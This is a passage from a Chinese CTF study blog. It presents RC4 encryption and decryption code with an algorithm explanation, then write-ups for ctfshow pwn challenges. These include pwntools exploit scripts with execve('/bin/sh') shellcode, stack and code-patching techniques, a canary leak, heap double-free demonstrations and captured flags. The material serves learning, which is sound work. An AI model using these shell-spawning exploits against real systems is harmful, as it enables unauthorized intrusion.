感觉打了这么就得逆向,没AI感觉就不中了,啥也干不了,于是从现在开始学习原理知识。

开始rc4的学习以后碰到rc4就放到这个里面来。开始全栈之逆向之路。

标准rec4加密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
#define _CRT_SECURE_NO_WARNINGS
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

#define MAX_INPUT_LEN 1024

typedef struct {
unsigned char S[256];
unsigned char i; // 改为 unsigned char 避免转换问题
unsigned char j; // 改为 unsigned char 避免转换问题
} RC4_CTX;

/* 初始化函数 */
void rc4_init(RC4_CTX* ctx, const unsigned char* key, size_t key_len) {
int i; // 使用 int 避免 size_t 转换警告
unsigned char j = 0;
unsigned char temp;

for (i = 0; i < 256; i++) {
ctx->S[i] = (unsigned char)i;
}

ctx->i = 0;
ctx->j = 0;

for (i = 0; i < 256; i++) {
j = (unsigned char)(j + ctx->S[i] + key[i % key_len]); // 显式转换
temp = ctx->S[i];
ctx->S[i] = ctx->S[j];
ctx->S[j] = temp;
}
}

/* 生成密钥流字节 */
unsigned char rc4_generate_byte(RC4_CTX* ctx) {
unsigned char temp;
ctx->i = (unsigned char)(ctx->i + 1);
ctx->j = (unsigned char)(ctx->j + ctx->S[ctx->i]);
temp = ctx->S[ctx->i];
ctx->S[ctx->i] = ctx->S[ctx->j];
ctx->S[ctx->j] = temp;
return ctx->S[(ctx->S[ctx->i] + ctx->S[ctx->j]) & 0xFF]; // 使用位操作避免转换
}

/* 加密函数 */
void rc4_crypt(RC4_CTX* ctx, const unsigned char* input,
unsigned char* output, size_t len) {
size_t n;
for (n = 0; n < len; n++) {
output[n] = input[n] ^ rc4_generate_byte(ctx);
}
}

/* 二进制转十六进制 */
char* bin2hex(const unsigned char* bin, size_t len) {
if (len == 0) return NULL;

char* hex = (char*)malloc(len * 2 + 1);
if (!hex) return NULL;

for (size_t i = 0; i < len; i++) {
sprintf_s(hex + i * 2, 3, "%02X", bin[i]); // 使用安全的 sprintf_s
}
hex[len * 2] = '\0';
return hex;
}

/* 安全获取输入 */
void get_input(const char* prompt, char* buffer, size_t max_len) {
printf("%s", prompt);
if (fgets(buffer, (int)max_len, stdin) == NULL) { // 显式转换
buffer[0] = '\0';
return;
}

// 移除换行符
size_t len = strlen(buffer);
if (len > 0 && buffer[len - 1] == '\n') {
buffer[len - 1] = '\0';
}
}

int main() {
char key[MAX_INPUT_LEN];
char plaintext[MAX_INPUT_LEN];

printf("=== RC4 加密工具 ===\n");

// 获取用户输入
get_input("请输入密钥: ", key, sizeof(key));
get_input("请输入明文: ", plaintext, sizeof(plaintext));

size_t len = strlen(plaintext);
if (len == 0) {
printf("错误: 明文不能为空\n");
return 1;
}

// 分配内存
unsigned char* ciphertext = (unsigned char*)malloc(len);
if (!ciphertext) {
fprintf(stderr, "错误: 内存分配失败\n");
return 1;
}

// 加密过程
RC4_CTX ctx;
rc4_init(&ctx, (const unsigned char*)key, strlen(key));
rc4_crypt(&ctx, (const unsigned char*)plaintext, ciphertext, len);

// 转换为十六进制
char* hex_cipher = bin2hex(ciphertext, len);
if (!hex_cipher) {
fprintf(stderr, "错误: 十六进制转换失败\n");
free(ciphertext);
return 1;
}

// 输出结果
printf("\n加密结果:\n");
printf("密钥: %s\n", key);
printf("明文: %s\n", plaintext);
printf("密文(HEX): %s\n", hex_cipher);

// 清理内存
free(ciphertext);
free(hex_cipher);

printf("\n按 Enter 键退出...");
getchar(); // 忽略返回值
return 0;
}

标准rec4解密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
#define _CRT_SECURE_NO_WARNINGS
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <ctype.h>

#define MAX_INPUT_LEN 2048

typedef struct {
unsigned char S[256];
unsigned char i; // 改为 unsigned char 避免转换问题
unsigned char j; // 改为 unsigned char 避免转换问题
} RC4_CTX;

/* 初始化函数 */
void rc4_init(RC4_CTX* ctx, const unsigned char* key, size_t key_len) {
int i; // 使用 int 避免 size_t 转换警告
unsigned char j = 0;
unsigned char temp;

for (i = 0; i < 256; i++) {
ctx->S[i] = (unsigned char)i;
}

ctx->i = 0;
ctx->j = 0;

for (i = 0; i < 256; i++) {
j = (unsigned char)(j + ctx->S[i] + key[i % key_len]); // 显式转换
temp = ctx->S[i];
ctx->S[i] = ctx->S[j];
ctx->S[j] = temp;
}
}

/* 生成密钥流字节 */
unsigned char rc4_generate_byte(RC4_CTX* ctx) {
unsigned char temp;
ctx->i = (unsigned char)(ctx->i + 1);
ctx->j = (unsigned char)(ctx->j + ctx->S[ctx->i]);
temp = ctx->S[ctx->i];
ctx->S[ctx->i] = ctx->S[ctx->j];
ctx->S[ctx->j] = temp;
return ctx->S[(ctx->S[ctx->i] + ctx->S[ctx->j]) & 0xFF]; // 使用位操作避免转换
}

/* 解密函数 */
void rc4_crypt(RC4_CTX* ctx, const unsigned char* input,
unsigned char* output, size_t len) {
size_t n;
for (n = 0; n < len; n++) {
output[n] = input[n] ^ rc4_generate_byte(ctx);
}
}

/* 十六进制转二进制 */
unsigned char* hex2bin(const char* hex, size_t* len) {
size_t hex_len = strlen(hex);

// 检查十六进制长度
if (hex_len % 2 != 0) {
fprintf(stderr, "错误: 无效的十六进制长度\n");
return NULL;
}

*len = hex_len / 2;
if (*len == 0) {
return NULL;
}

unsigned char* bin = (unsigned char*)malloc(*len);
if (!bin) return NULL;

for (size_t i = 0; i < *len; i++) {
char hex_byte[3] = { 0 };
hex_byte[0] = hex[i * 2];
hex_byte[1] = hex[i * 2 + 1];

char* endptr;
unsigned long value = strtoul(hex_byte, &endptr, 16);

if (*endptr != '\0' || value > 255) {
fprintf(stderr, "错误: 无效的十六进制字节 '%s'\n", hex_byte);
free(bin);
return NULL;
}

bin[i] = (unsigned char)value;
}

return bin;
}

/* 安全获取输入 */
void get_input(const char* prompt, char* buffer, size_t max_len) {
printf("%s", prompt);
if (fgets(buffer, (int)max_len, stdin) == NULL) { // 显式转换
buffer[0] = '\0';
return;
}

// 移除换行符
size_t len = strlen(buffer);
if (len > 0 && buffer[len - 1] == '\n') {
buffer[len - 1] = '\0';
}
}

int main() {
char key[MAX_INPUT_LEN];
char hex_cipher[MAX_INPUT_LEN];

printf("=== RC4 解密工具 ===\n");

// 获取用户输入
get_input("请输入密钥: ", key, sizeof(key));
get_input("请输入密文(HEX): ", hex_cipher, sizeof(hex_cipher));

// 验证十六进制输入
for (size_t i = 0; hex_cipher[i]; i++) {
if (!isxdigit((unsigned char)hex_cipher[i])) { // 显式类型转换
fprintf(stderr, "错误: 无效的十六进制字符 '%c'\n", hex_cipher[i]);
return 1;
}
}

// 转换为二进制
size_t cipher_len;
unsigned char* ciphertext = hex2bin(hex_cipher, &cipher_len);
if (!ciphertext || cipher_len == 0) {
fprintf(stderr, "错误: 十六进制转换失败\n");
return 1;
}

// 分配解密缓冲区
unsigned char* decrypted = (unsigned char*)calloc(cipher_len + 1, 1);
if (!decrypted) {
fprintf(stderr, "错误: 内存分配失败\n");
free(ciphertext);
return 1;
}

// 解密过程
RC4_CTX ctx;
rc4_init(&ctx, (const unsigned char*)key, strlen(key));
rc4_crypt(&ctx, ciphertext, decrypted, cipher_len);

// 确保字符串终止
decrypted[cipher_len] = '\0';

// 输出结果
printf("\n解密结果:\n");
printf("密钥: %s\n", key);
printf("密文(HEX): %s\n", hex_cipher);
printf("解密文本: %s\n", decrypted);

// 清理内存
free(ciphertext);
free(decrypted);

printf("\n按 Enter 键退出...");
getchar(); // 忽略返回值
return 0;
}

这里来详细了解一下标准rc4

算法概述:RC4(Rivest Cipher 4)是由Ron Rivest在1987年设计的流密码算法,被广泛应用于SSL/TLS、WEP等协议中。它是一种对称

加密算法,使用相同的密钥进行加密和解密。

核心组件:

  1. S盒(State Box)
  • 256字节的数组(0-255)
  • 初始化为顺序值:S[0]=0, S[1]=1, ..., S[255]=255
  1. 密钥调度算法(KSA)
  • 使用密钥初始化S盒
  • 伪代码:
1
2
3
4
j = 0
for i from 0 to 255:
j = (j + S[i] + key[i % key_length]) % 256
swap(S[i], S[j])
  1. 伪随机生成算法(PRGA)
  • 生成密钥流字节
  • 伪代码:
1
2
3
4
5
i = (i + 1) % 256
j = (j + S[i]) % 256
swap(S[i], S[j])
K = S[(S[i] + S[j]) % 256]
return K
  1. 加密/解密过程

    • 明文/密文与密钥流字节异或
    • ciphertext_byte = plaintext_byte XOR K
    • plaintext_byte = ciphertext_byte XOR K

详细加密流程

  1. 步骤1: 密钥调度(KSA)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
void rc4_init(RC4_CTX *ctx, const unsigned char *key, size_t key_len) {
unsigned char j = 0;
// 初始化S盒
for (int i = 0; i < 256; i++) {
ctx->S[i] = (unsigned char)i;
}

// 重置索引
ctx->i = 0;
ctx->j = 0;

// 使用密钥打乱S盒
for (int i = 0; i < 256; i++) {
j = (j + ctx->S[i] + key[i % key_len]) % 256;
// 交换S[i]和S[j]
unsigned char temp = ctx->S[i];
ctx->S[i] = ctx->S[j];
ctx->S[j] = temp;
}
}

KSA简而言之就是先初始化S盒在用key打乱S盒。

  1. 步骤2: 生成密钥流字节(PRGA)
1
2
3
4
5
6
7
8
9
10
11
12
13
unsigned char rc4_generate_byte(RC4_CTX *ctx) {
// 更新索引
ctx->i = (ctx->i + 1) % 256;
ctx->j = (ctx->j + ctx->S[ctx->i]) % 256;

// 交换S[i]和S[j]
unsigned char temp = ctx->S[ctx->i];
ctx->S[ctx->i] = ctx->S[ctx->j];
ctx->S[ctx->j] = temp;

// 计算密钥流字节
return ctx->S[(ctx->S[ctx->i] + ctx->S[ctx->j]) % 256];
}

PRGA简而言之生成密钥流

  1. 步骤3: 加密数据
1
2
3
4
5
6
7
void rc4_crypt(RC4_CTX *ctx, const unsigned char *input, 
unsigned char *output, size_t len) {
for (size_t n = 0; n < len; n++) {
// 生成密钥流字节并与输入字节异或
output[n] = input[n] ^ rc4_generate_byte(ctx);
}
}

总结:我可以发现只要得到秘钥流就可以通过密文和秘钥流异或得到明文,当然这个用的时候得保证这个异或没有被魔改。

pwn87

1
2
3
4
5
6
7
8
9
10
int ctfshow()
{
char s[28]; // [esp+8h] [ebp-20h] BYREF

puts("What's your name?");
fflush(stdout);
fgets(s, 50, stdin);
printf("Hello %s.", s);
return fflush(stdout);
}

fgets(s, 50, stdin);存在栈溢出漏洞。

50 - 0x20 - 0x04 = 14

可利用的空间不足,要利用栈迁移。

1
ROPgadget --binary=pwn --only='jmp|ret'
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
~$ ROPgadget --binary=pwn --only='jmp|ret'
Gadgets information
============================================================
0x08048bcf : jmp 0x2825346b
0x080483bb : jmp 0x80483a0
0x08048534 : jmp 0x80484c0
0x08048612 : jmp 0x8048613
0x08048624 : jmp 0x8048625
0x08048636 : jmp 0x8048637
0x0804866c : jmp 0x804866d
0x080485f3 : jmp 0x8c0485f5
0x080485ca : jmp 0xf05585ce
0x080485dc : jmp 0xf05585e0
0x08048d17 : jmp esp
0x0804837a : ret
0x080484ce : ret 0xeac1

Unique gadgets found: 13

找到0x08048d17 : jmp esp

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *

# 连接远程服务器
p = remote('pwn.challenge.ctf.show', 28287)

# 设置上下文为 32 位(i386)
context(arch='i386', os='linux', log_level='debug')

# 加载 ELF 文件
elf = ELF('./pwn')

# 定义 x86 shellcode(注意前面加 b 表示 bytes)
shellcode_x86 = (
b"\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
b"\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
b"\x0b\xcd\x80"
)

# 生成 sub esp, 0x28; jmp esp 的机器码
sub_esp_jmp = asm('sub esp, 0x28; jmp esp')

# 固定地址(需根据实际程序确认)
jmp_esp = 0x08048d17

# 构造 payload
payload = shellcode_x86
payload += b'b' * (0x20 - len(shellcode_x86)) # 填充到 0x20
payload += b'bbbb' # ebp
payload += p32(jmp_esp) # 覆盖返回地址
payload += sub_esp_jmp # 跳转指令

# 发送 payload
p.sendline(payload)

# 交互模式
p.interactive()

解释一下疑惑点,当执行到p32(jmp_esp);由于函数返回时执行leave ret;leave:pop ebp 是esp会指向ebp + 4 也就是 sub_esp_jmp;然

后esp 转到 esp - 0x28的位置,也就是s的起始位置;jmp esp使得esp指向s的起始位置,ret使得esp指向eip,执行shellcode。

pwn88

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int __fastcall main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+8h] [rbp-18h] BYREF
int v5; // [rsp+Ch] [rbp-14h]
__int64 v6[2]; // [rsp+10h] [rbp-10h] BYREF

v6[1] = __readfsqword(0x28u);
setbuf(_bss_start, 0LL);
printf("Where What?");
v5 = __isoc99_scanf("%llx %d", v6, &v4);
if ( v5 != 2 )
return 0;
*(_BYTE *)v6[0] = v4;
if ( v4 == 0xFF )
puts("No flag for you");
return 0;
}

可以看到可以用v4来修改v6这个内存地址。

这个只有一次读入肯定是不够的,所以要构造一个循环

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
text:00000000004006F2                 push    rbp
.text:00000000004006F3 mov rbp, rsp
.text:00000000004006F6 sub rsp, 20h
.text:00000000004006FA mov rax, fs:28h
.text:0000000000400703 mov [rbp+var_8], rax
.text:0000000000400707 xor eax, eax
.text:0000000000400709 mov rax, cs:__bss_start
.text:0000000000400710 mov esi, 0 ; buf
.text:0000000000400715 mov rdi, rax ; stream
.text:0000000000400718 call _setbuf
.text:000000000040071D mov edi, offset format ; "Where What?"
.text:0000000000400722 mov eax, 0
.text:0000000000400727 call _printf
.text:000000000040072C lea rdx, [rbp+var_18]
.text:0000000000400730 lea rax, [rbp+var_10]
.text:0000000000400734 mov rsi, rax
.text:0000000000400737 mov edi, offset aLlxD ; "%llx %d"
.text:000000000040073C mov eax, 0
.text:0000000000400741 call ___isoc99_scanf
.text:0000000000400746 mov [rbp+var_14], eax
.text:0000000000400749 cmp [rbp+var_14], 2
.text:000000000040074D jz short loc_400756
.text:000000000040074F mov eax, 0
.text:0000000000400754 jmp short loc_400778
.text:0000000000400756 ; ---------------------------------------------------------------------------
.text:0000000000400756
.text:0000000000400756 loc_400756: ; CODE XREF: main+5B↑j
.text:0000000000400756 mov rax, [rbp+var_10]
.text:000000000040075A mov edx, [rbp+var_18]
.text:000000000040075D mov [rax], dl
.text:000000000040075F mov eax, [rbp+var_18]
.text:0000000000400762 cmp eax, 0FFh
.text:0000000000400767 jnz short loc_400773
.text:0000000000400769 mov edi, offset s ; "No flag for you"
.text:000000000040076E call _puts
.text:0000000000400773
.text:0000000000400773 loc_400773: ; CODE XREF: main+75↑j
.text:0000000000400773 mov eax, 0
.text:0000000000400778
.text:0000000000400778 loc_400778: ; CODE XREF: main+62↑j
.text:0000000000400778 mov rcx, [rbp+var_8]
.text:000000000040077C xor rcx, fs:28h
.text:0000000000400785 jz short locret_40078C
.text:0000000000400787 call ___stack_chk_fail
.text:000000000040078C ; ---------------------------------------------------------------------------
.text:000000000040078C
.text:000000000040078C locret_40078C: ; CODE XREF: main+93↑j
.text:000000000040078C leave
.text:000000000040078D retn

再汇编中我们可以看到

1
.text:0000000000400767                 jnz     short loc_400773;

我们可以利用这个使得其调回到000000000040071D到达printf的地址进行二次输入。第二次输入(修改jnz为jmp)达到无条件转跳,

从而达到循环。

然后利用单字节写入在0x0000000000400769写入shellcode,最后再利用修改jmp转跳到shellcode的地址来执行shellcode。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import *

# 设置目标程序(根据需求选择一种连接方式)
#p = process('./pwn')
p = remote('pwn.challenge.ctf.show', '28194') # 远程连接

context(arch='amd64', os='linux', log_level='debug')
elf = ELF('./pwn')

text_addr = 0x400767 # 需要修改的关键指令地址

def write_data(addr, data):
"""向指定地址写入数据(实际只修改最低字节)"""
p.sendlineafter('Where What?', f'{hex(addr)} {data}')

# 第一步:修改跳转偏移(保留原指令结构)
# 将jnz指令的偏移改为0xB6(-0x4A的补码)
jnz_offset = u32(asm('jnz $-0x4A')[1:].ljust(4, b'\x00'))
write_data(text_addr + 1, jnz_offset)

# 第二步:修改操作码为jmp(短跳转)
jmp_opcode = u32(asm('jmp $-0x4A')[0:1].ljust(4, b'\x00'))
write_data(text_addr, jmp_opcode)

# 第三步:在text+2位置注入shellcode
shellcode = asm('''
mov rax, 0x68732f6e69622f # "/bin/sh"的十六进制
push rax
mov rdi, rsp # 文件名参数
mov rax, 59 # execve系统调用号
xor rsi, rsi # argv = NULL
xor rdx, rdx # envp = NULL
syscall
''')

shellcode_addr = text_addr + 2
for i, byte in enumerate(shellcode):
write_data(shellcode_addr + i, byte) # 逐字节写入shellcode

# 第四步:修正跳转偏移为+2(指向shellcode起始位置)
corrected_offset = u32(asm('jnz $+0x2')[1:].ljust(4, b'\x00'))
write_data(text_addr + 1, corrected_offset)

# 获取交互式shell
p.interactive()

pwn89

这题我写在[canary](pwn各类题型总结 | 网络幻影)这块

pwn 90

利用第一个read和printf泄露canary

再利用栈溢出将返回地址的最低位覆盖成后门地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *

context.binary = './pwn'
context.log_level = 'debug'

# 启动进程
#p = process('./pwn')
p = remote("pwn.challenge.ctf.show",28145)

# 接收欢迎消息
p.recvuntil(b'Welcome CTFshow:')

# 构造第一个payload:40字节填充 + 1字节覆盖Canary最低位
payload1 = b'A' * 40 + b'B'
p.send(payload1)

# 接收数据直到 'Hello ' 后的内容
p.recvuntil(b'Hello ')
data = p.recvuntil(b':\n', drop=True)

log.info(f"Received data length: {len(data)}")
if len(data) < 48:
log.error("Did not receive enough data")
p.close()
exit(1)

# 提取 Canary
canary_leaked = data[41:48] # 我们发的 B 后面7字节
canary = b'\x00' + canary_leaked # Canary 高位补 \x00
canary_val = u64(canary.ljust(8, b'\x00'))

log.success(f"Leaked canary: {hex(canary_val)}")

# 构造第二个payload
payload2 = b'A' * 40 + p64(canary_val) + b'B' * 8 + b'\x3f'

# 调试查看payload
#log.info("Payload2 dump:")
#print(hexdump(payload2))

p.send(payload2)
#gdb.attach(p)
#pause()
# 交互模式
p.interactive()

pwn 145

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
    * *************************************                           
* Classify: CTFshow --- PWN --- 入门
* Type : Heap_Exploitation
* Site : https://ctf.show/
* Hint : Why it can UAF(use after free) ?
* *************************************
演示glibc 的分配机制
glibc 使用首次适应算法选择空闲的堆块
如果有一个空闲堆块且足够大,那么 malloc 将选择它
如果存在 use-after-free 的情况那可以利用这一特性
首先申请两个比较大的 chunk
第一个 a = malloc(0x512) 在: 0x18f5260
第二个 b = malloc(0x256) 在: 0x18f5780
我们可以继续分配它
现在我们把 "AAAAAAAA" 这个字符串写到 a 那里
第一次申请的 0x18f5260 指向 AAAAAAAA
接下来 free 掉第一个...
接下来只要我们申请一块小于 0x512 的 chunk,那就会分配到原本 a 那里: 0x18f5260
第三次 c = malloc(0x500) 在: 0x18f5260
我们这次往里写一串 "CCCCCCCC" 到刚申请的 c 中
第三次申请的 c 0x18f5260 指向 CCCCCCCC
第一次申请的 a 0x18f5260 指向 CCCCCCCC
可以看到,虽然我们刚刚看的是 a 的,但它的内容却是 "CCCCCCCC"
sh
cat ctfshow_flag
ctfshow{3f139a53-9718-4b95-936c-a73c2296849b}

pwn146

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
    ▄▄▄▄   ▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄▄            ▄▄                           
██▀▀▀▀█ ▀▀▀██▀▀▀ ██▀▀▀▀▀▀ ██
██▀ ██ ██ ▄▄█████▄ ██▄████▄ ▄████▄ ██ ██
██ ██ ███████ ██▄▄▄▄ ▀ ██▀ ██ ██▀ ▀██ ▀█ ██ █▀
██▄ ██ ██ ▀▀▀▀██▄ ██ ██ ██ ██ ██▄██▄██
██▄▄▄▄█ ██ ██ █▄▄▄▄▄██ ██ ██ ▀██▄▄██▀ ▀██ ██▀
▀▀▀▀ ▀▀ ▀▀ ▀▀▀▀▀▀ ▀▀ ▀▀ ▀▀▀▀ ▀▀ ▀▀
* *************************************
* Classify: CTFshow --- PWN --- 入门
* Type : Heap_Exploitation
* Site : https://ctf.show/
* Hint : Why it can UAF(use after free) ?
* *************************************
申请0x20大小的内存p1 的地址: 0x13ba010
把p1[1]赋值为Printf函数,然后打印出"Hello CTFshow"
Hello CTFshow

free 掉 p1
因为并没有置为null,所以p1[1]仍然是Printf函数,仍然可以输出打印了"Hello CTFshow again"
Hello CTFshow again
接下来再去malloc一个p2,会把释放掉的p1给分配出来,可以看到他俩是同一地址的
p2 的地址: 0x13ba010
p1 的地址: 0x13ba010
然后把p2[1]给改成demoflag也就是system函数

Then get the flag && enjoy it !

$sh
cat flag
ctfshow{5247ed61-a52c-4a9d-8dcd-53b8467a17ec}

pwn147

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
    ▄▄▄▄   ▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄▄            ▄▄                           
██▀▀▀▀█ ▀▀▀██▀▀▀ ██▀▀▀▀▀▀ ██
██▀ ██ ██ ▄▄█████▄ ██▄████▄ ▄████▄ ██ ██
██ ██ ███████ ██▄▄▄▄ ▀ ██▀ ██ ██▀ ▀██ ▀█ ██ █▀
██▄ ██ ██ ▀▀▀▀██▄ ██ ██ ██ ██ ██▄██▄██
██▄▄▄▄█ ██ ██ █▄▄▄▄▄██ ██ ██ ▀██▄▄██▀ ▀██ ██▀
▀▀▀▀ ▀▀ ▀▀ ▀▀▀▀▀▀ ▀▀ ▀▀ ▀▀▀▀ ▀▀ ▀▀
* *************************************
* Classify: CTFshow --- PWN --- 入门
* Type : Heap_Exploitation
* Site : https://ctf.show/
* Hint : Fastbin_dup -- Double free
* *************************************
演示 fastbin 的 double free
首先申请 3 个 chunk
第一个 malloc(8): 0x1b39010
第二个 malloc(8): 0x1b39030
第三个 malloc(8): 0x1b39050
free 掉第一个
当我们再次 free 0x1b39010 的时候, 程序将会崩溃因为 0x1b39010 在 free 链表的第一个位置上
我们先 free 0x1b39030.
现在我们就可以再次 free 0x1b39010 了, 因为他现在不在 free 链表的第一个位置上
现在空闲链表是这样的 [ 0x1b39010, 0x1b39030, 0x1b39010 ]. 如果我们 malloc 三次, 我们会得到两次 0x1b39010
第一次 malloc(8): 0x1b39010
第二次 malloc(8): 0x1b39030
第三次 malloc(8): 0x1b39010
$sh
cat flag
ctfshow{7dbdfb56-d36a-42a8-a804-0e990d4d61dc}

pwn148

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
    ▄▄▄▄   ▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄▄            ▄▄                           
██▀▀▀▀█ ▀▀▀██▀▀▀ ██▀▀▀▀▀▀ ██
██▀ ██ ██ ▄▄█████▄ ██▄████▄ ▄████▄ ██ ██
██ ██ ███████ ██▄▄▄▄ ▀ ██▀ ██ ██▀ ▀██ ▀█ ██ █▀
██▄ ██ ██ ▀▀▀▀██▄ ██ ██ ██ ██ ██▄██▄██
██▄▄▄▄█ ██ ██ █▄▄▄▄▄██ ██ ██ ▀██▄▄██▀ ▀██ ██▀
▀▀▀▀ ▀▀ ▀▀ ▀▀▀▀▀▀ ▀▀ ▀▀ ▀▀▀▀ ▀▀ ▀▀
* *************************************
* Classify: CTFshow --- PWN --- 入门
* Type : Heap_Exploitation
* Site : https://ctf.show/
* Hint : Fastbin_dup_into_stack -- Double free
* *************************************
通过欺骗 malloc 使得返回一个指向受控位置的指针(本例为栈上)
通过 malloc 申请到 0x7ffe9bec2270.
先申请3 个 chunk
chunk a: 0x25dd010
chunk b: 0x25dd030
chunk c: 0x25dd050
free 掉 chunk a
如果还对 0x25dd010 进行 free, 程序会崩溃。因为 0x25dd010 现在是 fastbin 的第一个
先对 b 0x25dd030 进行 free
接下来就可以对 0x25dd010 再次进行 free 了, 现在已经不是它在 fastbin 的第一个了
现在 fastbin 的链表是 [ 0x25dd010, 0x25dd030, 0x25dd010 ] 接下来通过修改 0x25dd010 上的内容来进行攻击.
第一次 malloc(8): 0x25dd010
第二次 malloc(8): 0x25dd030
现在 fastbin 表中只剩 [ 0x25dd010 ] 了
接下来往 0x25dd010 栈上写一个假的 size,这样 malloc 会误以为那里有一个空闲的 chunk,从而申请到栈上去
现在覆盖 0x25dd010 前面的 8 字节,修改 fd 指针指向 stack_var 前面 0x20 的位置
第三次 malloc(8): 0x25dd010, 把栈地址放到 fastbin 链表中
这一次 malloc(8) 就申请到了栈上去: 0x7ffe9bec2270
$sh
cat flag
ctfshow{f7fdefd4-fab4-4a29-96b0-8ccb6f648dc1}

pwn149

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
linkpwn@linkpwn-VMware-Virtual-Platform:~$ nc pwn.challenge.ctf.show 28266
▄▄▄▄ ▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄ ▄▄
██▀▀▀▀█ ▀▀▀██▀▀▀ ██▀▀▀▀▀▀ ██
██▀ ██ ██ ▄▄█████▄ ██▄████▄ ▄████▄ ██ ██
██ ██ ███████ ██▄▄▄▄ ▀ ██▀ ██ ██▀ ▀██ ▀█ ██ █▀
██▄ ██ ██ ▀▀▀▀██▄ ██ ██ ██ ██ ██▄██▄██
██▄▄▄▄█ ██ ██ █▄▄▄▄▄██ ██ ██ ▀██▄▄██▀ ▀██ ██▀
▀▀▀▀ ▀▀ ▀▀ ▀▀▀▀▀▀ ▀▀ ▀▀ ▀▀▀▀ ▀▀ ▀▀
* *************************************
* Classify: CTFshow --- PWN --- 入门
* Type : Heap_Exploitation
* Site : https://ctf.show/
* Hint : Fastbin_dup_consolidate
* *************************************
申请两个 fastbin 范围内的 chunk: p1=0x197a010 p2=0x197a030
先 free p1
去申请 largebin 大小的 chunk,触发 malloc_consolidate(): p3=0x197a050
因为 malloc_consolidate(), p1 会被放到 unsorted bin 中
这时候 p1 不在 fastbin 链表的头部了,所以可以再次 free p1 造成 double free
现在 fastbin 和 unsortedbin 中都放着 p1 的指针,所以我们可以 malloc 两次都到 p1: 0x197a010 0x197a010
$sh
cat flag
ctfshow{2f30058c-812f-4649-9b5d-6298c5144bba}

写着写着发现一直写这个营养价值太低了,先停下把,以后发现了营养再来写。

unsorted bin attack

原理学习:

首先我们来了解一下unsorted bin的结构

unsorted bin是双链表,和fastbin不同,但是都在mian_arena里,所以unsorted bin 头节点的地址就是mian_arena+偏移。

那我们怎么利用这个进行攻击呢。攻击过程和unstore的结构如下:

1

最后一步指针为什么是这样变化的可以去看看unlink执行过程的指针变化。

从图中我们可以看出我们可以把地址改成一个值但是值是个很大的值,而且我们自己不能控制。

pwn144

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // eax
char buf[8]; // [rsp+0h] [rbp-10h] BYREF
unsigned __int64 v5; // [rsp+8h] [rbp-8h]

v5 = __readfsqword(0x28u);
init(argc, argv, envp);
logo();
while ( 1 )
{
while ( 1 )
{
menu();
read(0, buf, 8uLL);
v3 = atoi(buf);
if ( v3 != 3 )
break;
delete_heap();
}
if ( v3 > 3 )
{
if ( v3 == 4 )
exit(0);
if ( v3 == 114514 )
{
if ( (unsigned __int64)magic <= 0x1BF52 ) //修改magic大于0x1BF52即可达到后门函数
{
puts("So sad !");
}
else
{
puts("Congrt !");
TaT(); //后门函数
}
}
else
{
LABEL_17:
puts("Invalid Choice");
}
}
else if ( v3 == 1 )
{
create_heap();
}
else
{
if ( v3 != 2 )
goto LABEL_17;
edit_heap();
}
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
